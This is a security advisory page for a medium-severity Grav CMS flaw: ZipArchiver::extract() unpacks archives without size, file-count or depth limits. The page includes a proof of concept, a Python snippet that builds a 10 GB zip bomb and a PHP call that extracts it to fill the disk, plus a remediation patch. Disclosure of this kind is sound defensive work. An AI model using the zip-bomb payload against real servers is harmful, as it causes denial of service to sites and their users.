VDB
Sign up
MEDIUM6.5

GHSA-928x-9mpw-8h56

Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

Quick fix

GHSA-928x-9mpw-8h56 — getgrav/grav: upgrade to the fixed version with the command below.

composer require getgrav/grav:^2.0.1

Details

## Summary `ZipArchiver::extract()` lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

---

## Details

**Vulnerable code** - `system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58`:

```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file);

if ($archive === true) { Folder::create($destination);

// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }

// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }

$zip->close(); return $this; } } ```

**What's missing vs `Installer::unZip()`**:

| Protection | `Installer::unZip()` | `ZipArchiver::extract()` | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |

**The fix applied to Installer** (GHSA-2vcx, `Installer.php:178-269`):

```php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination); ```

None of this validation exists in `ZipArchiver::extract()`.

**Reachability**: `ZipArchiver::extract()` is a public method on a concrete class, accessible via the `Archiver::create('zip')` factory. While no first-party Grav code currently calls `extract()` on a `ZipArchiver` instance, third-party plugins and custom code that use the `Archiver` abstraction for ZIP restoration will walk directly into this unprotected path.

---

## Proof of Concept

### Step 1 - Create a zip bomb

```bash # Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIP_DEFLATED) zeros = b'\x00' * (1024 * 1024 * 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file_{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip # Output: 42K /tmp/zipbomb.zip → expands to 10 GB ```

### Step 2 - Extract via ZipArchiver

```php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk ```

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

---

## Impact

Any code path that extracts a user-supplied ZIP archive through `ZipArchiver::extract()` will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

---

## Remediation

Apply the same `archiveLimits()` validation from `Installer::unZip()` to `ZipArchiver::extract()`:

```php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archive_file);

if ($archive === true) { Folder::create($destination);

// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;

for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;

// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }

// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;

$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }

if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }

if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } } ```

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist/getgrav/grav
Introduced in: 0Fixed in: 2.0.1
Fixcomposer require getgrav/grav:^2.0.1

References